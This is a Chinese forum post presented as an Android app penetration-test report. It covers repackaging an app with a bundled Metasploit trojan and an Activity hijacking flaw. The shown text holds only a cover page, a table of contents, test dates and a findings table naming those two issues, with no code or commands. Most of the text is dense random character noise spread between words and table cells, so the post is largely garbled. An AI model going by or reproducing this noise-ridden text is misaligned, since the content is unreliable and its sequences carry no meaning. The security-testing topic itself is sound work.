找回密码
 立即注册
查看: 5261|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
u9 S: r2 i6 {/ ?! G" M0 O2 J! k: |( L* `, U" U

7 H* R, r6 M: _9 C& _ 5 {3 e7 F5 j) l7 N: `' t
6 |% M% {2 `2 O2 l7 ^$ Y- c! M / [. Y) q" v' o/ r% p% t( ?, O6 E

; t: z0 }3 U' v; C7 ^" C6 }% U" g2 v : v+ H( B" m. R7 _1 f
3 L; t' h4 K. C7 k& [, c 3 O! @6 K* d! r

0 b ]) o. b# g3 c( a0 E/ \: t, n) U! G( l6 h P/ T' k 文档编号:                6 Z9 `2 |* D, o# U2 X7 d }# d & V% i, O- x0 L5 m- ~/ \8 b+ L1 `6 Q

9 R. A7 L* A4 i 2 H- |: x; P; U: o; D

7 y+ \0 K+ Z* y. w7 l. Q , A; G. H" ^5 Y2 v1 s+ f. H   7 u7 l: }$ V2 q1 h0 C0 I7 E 7 Y- p# X8 A0 A! W. e m

' {) t# u/ G& i' Z+ }- b$ f: @4 R $ S' L. q/ g: _

# p: g5 B5 c7 D: @ S9 N9 t 2 Z* l1 _- D0 H   P9 S4 G5 Y" @7 p3 I: H. D$ t1 j 5 z- c, b8 `, Q( ?" w

7 {" [- x% a- a2 i8 ?, s, c6 Y4 a; U% W6 m- g+ J1 e0 d

0 K2 J2 p& V) b1 T) ~ * U! ^$ N, j8 }( `8 t3 b) ]   5 n1 ^7 E, p! k; [0 G! I 1 o2 M9 H7 t) \, a" j6 J

7 F1 M# K- j7 n& b9 f , T' O" ^' U% f+ |

! Y- ]. e8 U/ p$ A 5 @" I0 F. x% k8 i   ! x: L, w& J7 k! O5 H/ r8 U 5 Z' z. ~) {; M& o4 P

6 P A3 Y, u: A/ N6 c ( J7 g. ]( h4 h9 a

3 \1 `: ~) ^5 e8 r% t! e( B/ {8 u! X G0 {1 V, m   * A) }+ C! n& u0 o , g* |' t% k& K( e# _2 t8 |. P' H

: E) g" z: o2 O7 E- @- J7 N : K; W3 [/ ]- l

7 L/ P) K8 }+ C$ B. ~0 U% M0 K6 R2 V2 G' W3 N 某某某APP渗透测试 9 W) Z/ `& P2 E2 M+ C7 M. L% m5 d1 m/ U8 {8 M

9 Z m5 j4 q8 N/ E \2 J* P ( U1 f; b: m8 G2 b* w2 K" f

6 f3 r; k$ [/ d5 Q0 E7 ? 4 N% f% c( J2 r9 G" E, X) C   9 Z! i: y$ g6 Q3 X' ~& Q % U$ }% O7 R* ^3 E& l

4 Q$ g; }# l- [# m" Y O \ , Z- l; C2 c) z$ T

% R. L2 U& S( [# t " @. a! x6 d% m) w$ S5 S& J   5 ^; D# Z- S) }9 `4 P3 ] 5 l/ N3 V$ G/ N4 `

' D# x4 M- ^0 ~9 |: w, B ( \9 z. g3 ~# H+ c0 Q @. N

* W9 \: s L2 n# B& ~ # d* h( H U8 q7 d' X: e9 F4 u, {   ; l- G: t7 r X' {( I. } 3 }' V' X% b5 Q& X

- c" a; Z( x% X# s) h8 S ) a1 d3 H. r" j. a+ u

+ V7 O7 N# o+ T0 ?1 ~* w# V. n 0 @/ W% Z) i: J, z c6 F   $ s5 N E Y9 G " V2 P4 T2 H% @3 H" o9 R* o, Q

$ x4 M- R6 Y! E4 V- n! v0 }/ M) [ d; h1 [" u2 W% e$ z% z

- }- @( f1 t3 k3 g* u4 X4 y1 V+ e- R' Z, t8 P- s: w 技 术 报 告 # `# p1 g( j) R" v* n , J, j# e- i4 N3 w: s

" Z! Y9 R0 j/ C) D- f * h. H t' x; ^9 f

a$ n% Q6 z$ {8 g % ^; ?& g# H1 ?8 h9 j$ j   3 s* @2 V2 T+ \7 J) \8 e 0 o- \+ ^9 n2 K8 j

6 h- F# ^3 G5 ~7 Z + f9 n' C8 |6 p, L

1 t9 U R2 s! l- Z9 q - i! b* ]1 z( S8 s$ N   3 j9 e1 z/ \6 e9 ~3 O- q# Y' _& B2 T$ v% x* [7 W5 A

& U/ w. e$ Q! S l6 E: _- b0 C 2 s$ E- u D9 r! m+ M

$ k* S! ?0 A6 P# G, T$ m7 [ 9 o6 S9 Z" U9 K, b* k. Y   3 h4 a+ F: a% r- F: r3 n6 H3 C. V" L& E* R9 o, B

* a) D6 z9 q" _% d+ \ C% h5 y % h* `8 V/ b9 l/ H; h' g

. b7 ]4 ^) l/ |) C5 b/ _) w" |3 o 5 B+ r4 Y C3 W   8 A: @1 h+ O. |* r# K. n% C) F2 n d% r. {$ `

; I! }2 k/ ?; k2 U u' ~ 1 z1 d6 P0 k6 k" g2 n

( Z3 K. |, E; r0 F! `1 C5 n/ x" k 0 U7 W0 ~7 P% m+ x' J   7 ?1 N: W5 z7 Y6 i# }" Y/ E( e3 p

& G9 @/ x0 v. ?4 D4 y. K: D G4 u2 c 2 _1 r' B9 d: q: j

* g( i n4 m# G* }; J5 P" v' l7 j3 P4 r+ y+ {/ n   3 [- w/ ?" u8 U 4 J0 y6 r8 p j& o

8 G9 D/ Y- R6 E' g. K: v" j; s! C( _3 r" J

' q# a! j5 U9 j/ B ! J9 O* T/ K2 O- y$ E8 V7 L   m- N( ]1 D/ V! B8 ^& D, M9 f# H! V; h% v

7 I' C [8 z w1 S% ~6 M- q - O1 I+ B" Z7 z+ i

/ a& S* k5 v' f0 o5 L1 E 1 ^: b# b$ R7 m* F) {; M* }" b2 T   + c7 i5 ~" l- V" v \ ( a: f1 t0 X' w3 F3 M: f/ O) V

0 j- B& F+ c) g+ p, t. e4 Y: K% P$ a) D& s2 i

/ ^" b- p) P6 `4 X i & x- \$ h" n! M, S0 h# V7 ?   8 e. r$ L$ t3 I1 W D. G: A0 O+ Q / U# E9 Y/ X' {( }. N0 X

( B2 f4 V# c% @6 w) R1 U8 U! \# _, W8 |9 B, m

: M" W; g4 n2 Z2 G5 F u, e ; Q1 D/ k F- Y* X   " r, v! a9 q$ @, \/ L: m# r0 z; F E! G* p( d( U" g

* w" V5 q$ K: r K# |: V 8 e" `0 [' p! c* p ^# F, ~

L7 F% y9 k$ V8 q ) j, A0 T& t4 x) g   6 G$ f6 p! c& _( `- ]: u 7 [6 f0 ?3 ?& c

% a0 J U. h" x7 D( I4 z" @ $ T+ k+ h' ^3 f ~; z

# E0 }4 I( x5 l/ I; T4 ?* D4 v2 }$ u3 H   d2 m; ~' j3 K; Y0 m2 S 7 q) X% x+ t) u8 t* I' a

9 |" Q2 @9 {) c* O2 ~2 [ 9 {) u# t, i1 u/ [7 C) M- R- n$ `

* M0 o* i8 ^4 ]" j& @9 b , `& o- [4 D: y& ^! i   7 C9 a7 S) B! s: O & h' q) [) W% L0 H2 l; y8 z Y. \

" l: c. [$ b6 M- }- Q$ y7 p: o ! L4 m6 a3 W u2 [5 H& |2 o

$ z- N2 e* Y% B5 `9 L $ [* ?5 O5 t0 x/ A% V1 J6 n   ( k# ]! m) a% K6 S1 L! _% ]8 \ ) v( ^1 c+ S( A; `

7 F6 W$ M7 A6 |6 _: P- N( Q 7 k) Z4 G# N/ z1 C8 Y9 G

- @7 s/ x5 k$ _' _* D+ b# u: j: n" u   0 ^+ W p- b. O- f' P; ^3 } ( Q; l, r' c2 f1 f+ T* s. T* m

A3 q, }4 U0 _9 } 1 g; o9 D* Q' [" y* m

# ^& I& Z$ c( w4 M 5 Z N7 R1 O9 L) O% G   + P; B1 R2 |9 J: p0 l9 F : I# K8 B" p5 g: M0 c z% f

2 L3 v8 M# ~9 O! G. I 8 p7 Y2 u0 X) [) O; b8 y

) e, n4 e: N2 [% J* D3 a) R b3 Z. D9 T: W   * U6 a% h- `# d; j' i. `7 n. `9 S1 \# s. \) N

/ R/ b7 n" G; Q: m* `6 e8 } & V( l4 ^& g) f& x/ {# Y& E

" `/ U# |7 X1 r - ]: p& y. W& r: A' \7 }   3 h/ Z/ R( Y& I7 k9 T% Q) R7 j% ~

" O; E0 X( T. X3 N; m; z & q: d) i8 J! i; b- r+ c9 g) W

+ Z+ X3 W( e1 g" _! U) Z 3 y1 q4 f1 o; V! O6 Y' V 二〇二〇年 ' \4 s9 `5 \2 ^# ] Z4 R1 v! }6 y6 A$ x6 F: Q

# C( ]4 K( z- j' J6 f1 \7 X+ C - B K) m4 N, D6 B! I, p
# q# S2 Y) [4 A8 K5 f 8 R( l/ E; v/ L1 h; Z
$ {0 A7 |8 e5 k8 Y5 j 8 _$ z ]& ~ ?, | S
2 g Q) {+ K% j 3 D0 t( i. m9 V# k5 s% y
% A R" [& H- ]3 g ; B, I1 Z' z- \' g
; D% v' @2 `& V0 d+ M( W; }" C5 `! Z# F9 h- T+ C. G! n4 H
" l' e' t' u8 X8 K" `2 T ( C. ^2 M" ?6 Q- s
( w3 a' R4 b& V- c% U 1 f/ Z8 h) j1 G4 E& `( |
1 C( `$ D7 B3 m6 q# S3 @4 h2 Y7 y. \+ G: ^+ J( o8 d4 Z0 \6 r

0 w+ i, z% L- { % D2 x, h8 i8 }* l3 I) E 目 录 ) G" D+ T7 i' m* c 5 T4 r8 Z% f- p5 x1 k: b$ J* K# y

- a# j! z6 j0 Q0 f1 ~& f; D # E2 Y. B1 y# f4 U) z/ j ~, { s9 w- T5 [; |$ R- H! Q) e ) p5 H" B: N9 D- X: f

2 N+ i; c0 @: [/ L6 M2 b 5 r+ j# h9 x }! ` S# f   6 b& a" O! Q0 D" X4 O# M# I( d ]: k$ K. M" b6 o) t o

- H, a2 [) r' C' i4 P 9 D6 P! ?% S5 C0 b2 t( H

+ r: z- T$ a. l) d+ W. E+ n/ k. F- x, q9 A2 K0 M 1 概述... 3 & h' D# h- |( k I3 U# ^" e* A7 [8 h# }$ f

( J2 Y% k9 g- V/ y- i ) f" p% x; U- d7 A- v

( m7 d+ n2 ]. J9 o8 t2 D; r6 w Y- [3 P+ P T# q8 k 1.2测试时间... 3 ) J% |# L3 R& c4 Y4 x 6 S% }. C" v+ P+ @5 M+ v

9 H8 ?# _! `$ ]% \ 6 M# V% Z; X' J9 Y

$ a* {3 O( z! P7 b! s5 A% G; O/ ]. r4 @ B- T/ ?# T7 F 1.3测试对象... 3 - V$ _0 P0 z B) g1 p& R8 x8 [ * f) C5 K& d4 \$ ~& b7 X7 X: Q6 O

" j1 q) y- C' V8 a( N0 [, I 6 W0 n' a& U7 m' c5 j# Z9 |& v

8 Z$ P8 o0 O. H0 m' y 6 e9 z b& v9 |2 m2 I9 |* {' j 1.4测试结果... 3 , o: Q; Z9 f/ C7 ^. n/ i$ O 8 N- Y: F* j2 X5 s7 L6 }

: t+ n( a' `+ u5 [5 s$ H # L. O9 o% I; ]* X2 P

% _% U8 Q% A8 g W5 `/ v/ U & A. L' h. c V 2 检测结果... 4 ; U7 ?- _3 J8 n1 R6 X: h2 W3 B 6 g# X/ w$ h8 t; A( |; Z) A# c

8 Y# Y# O8 j2 q7 m3 K ' I8 q$ n9 F0 a5 _ t

0 b( d5 H& P0 z4 Y' ? * _6 ~" b6 P/ u2 O5 G' G1 h3 g 2.1 某某某... 4 r$ ]0 K, ^$ ^8 ^8 b1 M9 W1 ` ' `( D' O$ Q! q, Q3 u* b

* ?: F/ n+ x3 W5 j M6 d4 [9 I5 T# _, S) O

0 J9 `; a6 i p# m6 ~ . v4 h" g- C3 U7 s6 R. ]! q8 U: {" Z 2.1.1检测目标... 4 " e0 E# R$ U% Q& ~) z+ S3 I, q 5 `/ y( f$ e5 j8 u0 g8 [, J

U" a6 H( d( y3 U * e4 A; Y/ T5 }5 X/ E

" l' u3 P: [+ \; [: D2 D2 _& z; [; w: {! o! r) J9 u 2.1.2检测结果... 4 4 ?# a# q$ l& o C: x& t- K + e- Y2 g. X( Q7 m6 i5 i' H

6 I2 k$ K1 n$ \! @* }# C2 v - W2 A$ p7 m7 f1 q9 E7 F# C

1 g: E3 o1 s+ |6 [" `0 p * q' E- ~# M/ ~& X 2.1.2.1. 4 1 s! ]+ j, T) r) I1 i, E" X" u+ ]" V+ T: A* R( d1 Z0 l

4 p! w0 t( i* n4 k ' m1 E+ D% ~( X' m

' J1 O# w' t. N# t J3 k" S# I, }0 V* y+ t 2.1.2.2. 6 + g3 B7 Y) v1 @; G( a) i8 S, `; N2 k1 a

* v8 i. a0 ~7 b/ b" d. p/ G3 Q" @ j2 B' }! q! |2 e+ Q

! u( w0 T' k! a: J! G6 ^ ! ?" D" N5 L. z / d$ h Y: x) s0 \ | " o2 O' [. k4 `+ Z

" I0 J; u. G \* r! v( z! {* q/ ~! r% G/ p y! f2 K' C& k! _
$ L6 k: m8 D5 k1 O9 O8 E 9 o" s# T0 P' y; ~
1 C! ]! _, f: M5 Q! X, ~: | " g' V4 }* U8 N6 u* f
! }3 M: F- o* J: o 4 c; i! A+ |( o% k' T
! O8 O6 Q" v; Y" k$ O& g" } 0 @3 ^) ^1 {1 Z/ r- @6 l

3 p9 l: a8 e, ]2 s. Q! x1 o8 e 3 I+ |" `0 O, v" l 1 概述 6 \, b4 V+ {4 @& |7 ` ' O9 h+ g8 X$ X8 V1 q% c1 v3 z

1 r* h2 M. ]' N5 {! v + i; b4 K. j" b G

& _# G8 M3 N, [0 x - U" q: C2 ?4 f; f) C5 W S 1.2测试时间 ; G/ ^- h0 M0 y% l " m1 m, R. P% d/ C- ?6 a" C

' Z, y1 v7 @! k) `& k # v4 |( q7 q5 O" y) y' v/ L + K. j& T4 T2 p( e5 G) q& [1 M, z! g) ?4 @; v3 }9 S# J- q. f3 m5 u: V5 Z* D% _4 w! E3 Z5 ~; z6 B8 [6 Z& t( ^* m( u. J0 K9 X/ _ C6 k$ e$ e+ C4 V, z2 Q5 z3 J& Y5 K3 M1 d# m' f7 F, J/ n3 }6 T, F/ n& J Y& Z# ^$ V) L- v/ P _" J; Z6 y' p* N' K# l# ~& d1 ]/ u0 {& p F( ]8 C Q2 m5 n* @& T* s8 W6 z4 b: y& F6 E6 H/ T/ j- ? f+ @* l( z, j4 y1 D: P0 j. l4 y8 Z8 t( v( i6 k5 i6 i5 e2 X1 e+ a$ N; \7 n8 f. F3 [2 g: i. u4 h5 k& G. w7 U+ @4 |5 d1 S5 E3 A" w+ ^9 l% R# c% \7 r, K$ Z/ A) D0 ?2 G! C4 A( ]4 G# M1 B5 I |& Z. c H. s8 D3 r' W; p3 N1 \2 ^6 I7 n( T5 e8 m* M1 S% |8 P( g8 v A; n0 h ?+ j* Y/ d8 S. I0 I" L9 I# e$ K" D% R) B- B5 v* n
( U( A3 z5 q: P$ |/ |+ x & K3 n1 T: t8 H" O2 ?% c% Y1 L

& L$ A% U \( p* g 1 x5 v I0 v3 ?3 ]/ ~# g5 { 渗透测试时间 / z7 t8 r+ }7 f1 M1 {/ e. f: v 7 W \% t/ w5 J+ ~, S

0 M t6 X8 f) d; B& q * J6 T' {, w# Q+ a5 t% _- f' ]
$ j' ]6 f5 ~$ _. h * x% z) {' w3 w/ j) K

0 I7 m2 r# A/ l& E 5 T# r' n: M# N ?. f, l1 h 起始时间 4 z! m* o# J: P T' ^0 Q * n+ u( f, D6 Q U& d1 F5 Q7 n+ `

$ s* o6 X4 ~; v 0 s8 y2 N1 F1 h2 g+ s
8 i, q) g! i% a0 W1 b d) ]1 b+ f% v$ W! L! O" C0 S, h2 ?7 P m

( ^2 p/ l8 e/ N% L# X* Y( u ) f, Y; p* j. s6 U( c8 @$ ]) ^- u 202046 9 p3 y6 H8 f8 p, U4 c+ [ 5 s1 ?( g8 z: y! A$ G

1 w: X9 y0 w% N9 D C- L* | 6 b( ]. P6 e/ |
0 l ^- R0 Z; ^7 G8 [2 X" L7 v- S1 W# m" @7 Z: S$ ^& q* ^

+ B" Z0 M, z0 r3 A2 s5 \ . o) g6 o) {% @6 e" i 结束时间 * `9 R! z/ w- j I; x# ?5 p! H8 f) x

% i( Y( L1 r6 B$ A5 D" o. L) [! `( \: b3 Y! _( g0 }% `
! |9 d/ o) _5 P3 w/ |1 q ) }8 G* [" r* D( i- g9 i ]

( ^$ ?2 e( j- \# B% U 6 q% G! W* }2 `" G4 V; k1 A 202049 ' U% T/ Z1 R& [- p4 v% i 0 t" p! s' R/ y5 M% `

/ M0 G: j, e; A' |; ~ 9 B6 e4 q# K) p
3 \! V( K8 ^, V- q: F4 F - w. K# `! ~% z, }' M7 ^6 R% n

. D. f2 e {9 A r2 v) A$ n) k% M9 f) `. B p- [# q B9 B 1.3测试对象 & k O: u/ {+ _' N B6 P$ w7 ~" g4 Y. N

. l% o) }$ v2 q! Q# U% B' J; N! D- A$ K9 @

8 a6 i8 Z v; {' M, n) Z Q $ N6 [# s) y; h/ w, ?3 ` 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ) C% q/ L# r% O 9 `5 A1 e% s4 w& ` y8 ^5 e) i, y

+ l2 I$ ?+ D+ _ - g* T M# V( R6 v

% h" ?0 d$ O5 _4 _! b. f6 F ' O4 Y3 n7 j/ z0 i+ \( E) Z 1-1 检测对象 / r9 L/ P( \8 {1 X. k h9 P0 }5 R- c" [- ~, `4 N

, k5 [* g' z j; G# U9 x/ [' d3 V " [0 d& i+ c/ J 7 `( N7 O1 `" `6 I$ k1 i' U& y. L, w5 {! U* t. w4 U' n9 G0 L& i3 Y; k }# t* f: N5 [0 _/ s9 s/ x' n5 j4 n" v$ m1 T) p* h0 {+ E2 ?: T4 {* p% ~. X1 S3 e1 }: P6 c: J$ ^: M0 H) ?/ u }" `+ x8 A+ J9 c1 z0 S! {- j1 ^* r* m! v5 h$ |& d$ N' Z8 r/ ]) G/ Y# ~6 j' ^. Q/ r7 o! E7 t1 W4 P' K1 J, I* O0 u7 j8 c0 u$ c L+ b: h. w E3 P! F' q+ N6 j/ o6 @# y7 q" Q1 {, T; U& R- v- S5 m2 W m. b6 I2 j/ b, Q+ K* X6 T3 g+ ]- n7 n9 n1 V" ^3 C8 P6 H2 u, M r; U Q) @* o v" x1 }6 t6 K% T+ t' ~. x' Z! F8 W& @4 |! P& b0 I7 a! ^% `0 v7 n! m! f& A+ J" p; g# q; ^# N ~& o7 B- C& Y$ h6 J" l1 s9 W1 R% z- A. [2 i$ M1 ]" V9 @: B. \$ I/ Q, Y. P8 Y9 u' X1 `. h& e: N3 [8 _0 l( b% E; \5 u k5 K& `( Z6 N& b0 F; J5 x Y' X" C/ W7 G' _3 V! S- ?/ P
9 t& P: H4 g* m' W & h/ X. j# e" M ]0 G) z; j

8 k- w- Q# F/ ?, h * c' G; X9 K: p: K8 I9 b 序号 ' P, a9 ^4 i: ^: L+ u4 ` |/ ~7 Q {$ x3 w4 B9 [) M

* q6 x) z! J) K {/ j3 a 0 z2 u2 f- F: L r& s, ?5 Z
. p* V: n8 x* f* v3 \" v/ W& y3 b# [% w

# R& ?7 Q, _9 `3 P" f& K+ i 3 t) m3 C' A/ K2 {. Y i9 q2 Q6 G 测试对象 - t9 Q! V$ G8 _7 K1 E. r6 A+ U ; Z. l. G+ `. i2 N" z4 ~) l( b

/ \2 z+ v/ I. c3 t6 l& n5 V5 u% Z ; R3 x& B" D0 L
( t0 \" A7 ?" D( w: y6 r( _$ Y - _, O3 @* N3 ]5 P* C, P

* `$ ^- r- r J 0 o- D8 T! X4 i2 ` 测试地址 9 e. Y. G0 t1 J2 J5 w " @# X ?( {. r! p8 u

" o0 Q- Q8 |9 f# `/ z 8 L# ~& r9 p* Q
6 z* l/ _1 v/ y) o" l: A1 J2 a% L; c4 e . Z5 H: A+ C, V* ~4 d& W- v

; O- z" \) j. t; V4 D% f 8 T5 R( F3 w3 r 安全漏洞 5 P5 k1 c- ~0 T7 f* _2 ?: o, Y 4 L, k1 G: W! [

! T5 I5 c/ A' d+ H. M1 e: g2 i2 e ) M$ B! Q4 G, p: _3 C
4 u; z% y# ]; x: g 7 m" f" s: q* I( y Y+ r4 \3 H

; {4 f; s/ ~0 U9 @, m8 `" _2 F3 V2 W3 ?4 v) J8 o8 D 1 0 g4 t7 [, S% ]4 `' N% Q( f2 D& J- [+ }

) r4 z+ i" t1 W6 f1 H : {7 N2 i, V" P* p- g
- F3 N2 p! W+ D: L8 \3 W% b3 Q) o+ \: T' {, R/ f7 L

7 U' p! _' U5 X# Z: H3 B) I2 d ! K" [1 T) J# S6 ?: v 某某某安卓APP 3 w; U- d3 K0 ~3 Z ( ]5 r6 w& ?6 ~. s' _

! D3 V6 W9 G9 q+ i6 }. r 4 l& Q! T# f- Z7 t! J
# f1 X7 R7 j$ S$ W& B: Y % G, T; Q: E# }% _3 j

5 r: V. J; \5 r$ ~# M1 Q* I8 D6 ] ! f$ c0 y1 r; ]' X9 }   3 [7 s2 C5 d" S9 E( p; K ' q) ^; M1 G# X [+ U7 l

2 X# m, C# _1 f2 Z- j/ Q7 @/ d, M$ e& Z1 C' ?8 @) `* |# E- F
. H. P- V( Y6 w0 l( ^ 0 Z2 H7 d1 n) _9 `9 r

1 G5 o( C+ `/ h% Y* j: R0 a" c* k( o" [ : }% n/ `4 M* ]; {+ v5 X3 h 2 # z8 u+ W2 q) e( u& Q, A# a7 X, l' G% I& r! G" t5 t# t( c4 Y

6 i) I2 O% `. ?8 x; s6 e' c! O $ z% X$ i3 A& _1 t" D
) k, _/ H. R0 [& h6 q" z$ L ( T0 ~& e0 O/ k. a

, k8 _. Y" q5 I2 O# [/ v w& K" }0 m5 } l% q+ a* F 1.4测试结果 0 K: T/ W0 y3 T& j: t , M8 d% m# U8 X# \5 c

/ G2 p, C$ }3 P - k1 |- e" x# b$ N0 p

: w0 C6 L7 d/ _& Z) C; y8 a5 `9 v; B- x6 o: A7 I9 q 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: - Z9 ~& A; y6 q6 K- E7 }$ V . t4 @0 A9 g$ I t* O# F _- h; v

& F$ v; n/ @* {2 S2 p, L ! R4 Y h: J F/ c4 ` N- F! `" d

+ j( i0 {/ y. A" l( E + V# Z5 m( m* A; D8 ~" F( P   $ g, H. L/ L7 t! X% x' ?$ n- h$ | $ y) U0 k7 i% E. ^' Z

2 L( @/ `& }4 H 5 C# b6 g" \- ~( [2 L
- D7 a: P- d0 w' n6 d8 k, g9 M8 o: k ; A- U* U, V; |) }1 ^ - K3 r- Z5 s, V4 Q4 b/ d& N; _$ V1 p5 Q+ \" p6 [+ Y( G' M. \ |3 J% |/ ^ l+ }) ^- l) g/ L: W6 Q; o( ]; i7 S8 e% N0 {7 k9 r+ D+ a' S0 @. o( L. b) N: g: z M# e: v* I' E* d9 k0 G4 G7 b, v t6 g4 B/ Z" g3 R/ Z# Z$ q; K! p+ R' t9 j# J( H; X0 O' w4 C+ F% M& i V% t- ]; t% U) Z0 v& T' D! W; ~: }# M+ n" H+ r" ]1 N- P; Q$ A: }# X, f6 l! s3 h& V% g! @: B4 U9 o& ?7 d, H4 f. l3 V. s2 E9 `) G( l0 F z' C8 B% e2 C! i- V# L4 s& ^* p9 L7 X/ c( B8 G; F" \; Q1 D4 i) l- z) r0 V9 j. |7 H( i2 X' i7 ^ n% [, e* t5 A9 \ h! N4 b% w" @4 H4 c3 V4 v; r* ~- w: i# ~, a" G' m9 a* G" r. x7 |2 x1 x6 X& @3 o2 {8 p5 x8 D, l8 O9 y9 k& f- z" }; M4 u! e$ P6 r6 H2 C; L! N, S! K0 g# ?% v0 ~! [0 v9 D' U6 ~$ K& @5 `( h1 [2 X* J4 B- ], C& S) S) ^" d$ u: |% i0 w! {- |$ w0 v' l' g g9 }, L4 ?% [- `( j2 G; Y: y/ V" b L1 c1 Q9 g- F4 @* d) ^% W9 s! x/ O' I1 z3 ?6 X+ o7 ^7 G4 B- E9 E6 V2 Y0 e( j- V0 Z7 R3 s4 M6 [) }) H6 p5 C$ t+ T. s' J5 P4 K5 P7 [) a' j: n% s. E8 J- V8 \7 u% f% A5 u( d! g1 @( u8 P0 o2 @( m2 ?" f4 b. `) ^+ } d6 v4 e2 x9 Z) m l7 v9 k& E1 `+ E9 Z6 U" u7 V) }- y! ?. @- V/ J, }- R) i2 Q& L6 ?( x# ^$ @2 U: j+ ]4 [6 g" k( W6 C6 d& ]$ R) Z7 r7 L( N
8 r- J+ q7 }. J5 r+ R6 t- l ?5 Y* p+ Q: _/ E1 @, ~ c

& c. R; `$ [* B0 N& O, Z7 [ 6 H0 g1 a0 I: N1 j& T! \ 序号 ! K# I9 X$ ~" B0 R5 q" } 7 t+ X$ Y4 b4 Y: F8 B9 j

9 N; o+ F9 ?7 W; J# _# ?, x6 z5 m$ Y2 R! r8 g
# U) m# F+ @4 b- C% [ # a: A% ]( V& w* h

: ]6 j2 F3 \# C 7 P+ z, _' s; M8 D% ~% n 系统名称 : X4 g o/ @: G& b7 k : P% t, ]/ ?' R6 T/ s

: b2 b5 o4 d* d Y. I: b& T3 G# U% `9 M8 t4 `- D
- d1 K0 h7 w1 w n 2 S# x6 C& a7 M: M* W/ x# c$ c) z! w

$ `3 y$ L- ] D & O8 @5 \: w" t 漏洞名称 , Z: j: D" E) ]: e8 `9 T* v ' X7 f: Q# h% h, L

' y( L+ D+ w/ \) w: Q! G2 p7 n$ M$ b" W: V2 R/ n& @9 x/ B
9 P+ S+ n8 P4 i) ~" I ; R) v2 @! J: O* z- P6 O9 ~

" p' J2 y! d5 G% { " M6 u q5 Y _% r 漏洞危害 5 ?. B" y7 `6 S0 \9 l& ]: Q # ?0 h0 `4 Z1 {9 U& H- t% f

8 {( W; @( W( Y) y% P0 ~3 x7 H6 m # J" b; D0 s0 N- q9 c1 p* K9 V
7 e0 q1 [. X p( D S' e7 v- m ! C" p! n( F1 o+ b! q1 d: C) m. l

: K; l4 Z7 h" }" Q, A 4 `8 m, ^" O6 v5 { 修复结果 6 m' L6 U! @5 A- c% a9 D: _ n5 k+ x, j* `; k9 n% [

. F: m& r3 t& H( I6 |& n3 a; ? 8 i9 v+ n2 N8 i8 X: W
2 P% _0 ?; M! s! U ) l1 L5 D" b; ~6 p6 Z5 h: Q- x' M# C

0 K5 d9 y, J% o6 t) v1 T - [2 R& n/ d2 V' k 1 % L' E$ B! J; {" I2 f ; F4 f( l! j+ x0 T1 r7 l

+ _- p& U% U4 g# _. S5 A* u. q# w5 T S2 E9 Y6 \ Q9 N9 H
4 E* Y W! X) L& X+ D; ~ i% R( u4 V3 q' K* o

9 p% ^& X8 A) A% a/ p ; G# ?# D( [2 ~7 L4 N 某某某某某某APP ) V4 x$ }( d9 l( t" R, u : H: j. ~5 L1 K$ }7 U8 u

" R+ {1 p3 I; L9 k3 G. b0 b1 t 9 F$ ^( j' V) G) O+ f
2 c0 h+ F R9 l7 ]3 {" F: u% c1 Z3 G# M/ c( w4 z

9 `5 r0 R7 ^- j; `5 \- l- G' ` ( X% Y* k' }4 D Activity 劫持 - L" v0 S/ r& |" } 1 {! Q& u, g( n3 T, U6 Y8 A

( C: }0 [1 V3 q8 U9 n + `/ f3 J* t7 Q3 m( Q' w

, O- ~( l5 ?' _ 1 L8 \& D% u; B   6 l0 R- i% y1 n" v3 b, Y 3 b) l# Z3 V% d0 T% i% U

" P1 b% @! ]' J7 ^* A 1 i/ K! C( W3 e, O# e, a0 J, f
+ X. x0 G+ ~& L : I. u$ ?$ S! [

1 x. c6 F5 `0 R3 G9 v U# `4 v2 \) g) L " ]; I" C2 ~+ D5 A9 Z . \1 _" \# R# _5 E6 Z" V; K2 n

8 r( x. r) i9 U; l & v' q4 _( [( A, b& b
( M B( f( ?, {6 F $ Q" }3 F4 W3 j/ T+ _7 H: c& `2 t) R' A

4 T) W7 E: v: q/ Q) i $ j( L' X" t7 H& R: V3 T   2 _5 o$ n: }9 @. {4 P 0 r5 \6 i8 ~+ d4 f' F

" _$ }2 N- Z0 f5 t# K# L0 `" Q9 @$ ~# U
+ }: a, C5 \& {% U& Q/ v & X F. J1 K$ j( k

) f5 s$ O0 g. P/ K! C; G1 _4 E* m# @! G3 B: ?$ d8 R, {, Y [ 2 # N/ C# n" F0 O! i3 x1 V9 O6 V: d2 T$ e1 U& d9 S9 \

, z) W* `0 F. k& q ! U$ V% s, m2 \
2 S) }4 n- S: L4 b" j" o: o: `. ?7 i J" e5 j

& ^! k- P: T) |! _5 l) N% T) I3 X " Y: M' d* t T9 ~+ q 某某某某某某APP ! G6 H/ g+ M3 [* s' ^" O, A) ? : X& m) K# N* M, ]! j

5 l+ M) p2 O8 `* ~ 0 s; A& @) ~3 k( ]0 z; \7 O. C
8 o! k# T* _8 F9 R( D8 t5 K# R8 o ' f* \0 `6 o% L" V$ O+ h, M

6 \7 L; j- L+ k+ w5 Z9 w; ?1 ~ ( f3 \5 L: Z% F 反编译二次打包捆绑木马、篡改APP代码 1 Y: z3 S( L: T) W1 m3 b 3 o( a, ?6 Z/ h2 N# _( o5 j

o% ~. M: r2 O+ u2 ]& {! } # `. X, w) S% S- [( V! f& }; ?
; }0 B" T! w8 n0 j* V' X- `" o- V/ R u" a* t7 a, O3 E7 ~

: S9 y: k9 f% |4 o( o % s( L( X6 m7 n# M7 O 8 M8 |* p+ f, [9 |0 W% A( f) Q d5 a* ^" s9 A) z+ _

, t+ }. `2 |+ U& Q7 r# @8 z 3 o% }* J* V; m9 X/ _& M5 e
8 H2 L. _% [7 H/ J0 B& h! @4 n) `0 D/ ]+ r0 L7 }& L0 u# V* E

1 `5 }. |/ Y( g7 q1 i1 \5 I2 L ' g' N1 S/ V: N   5 J1 r+ M# y' j7 P' U 7 Y: N( n) _0 Z

, w# y# x1 Q. C4 f8 B* u& | # [/ c( j* f* [) ~/ A l
+ C( r: p; b9 v9 n- a/ c/ k0 P8 w4 p" L
+ x7 Y4 l& u, j) Q/ g5 ] " Q/ w9 K% f$ D& n# e

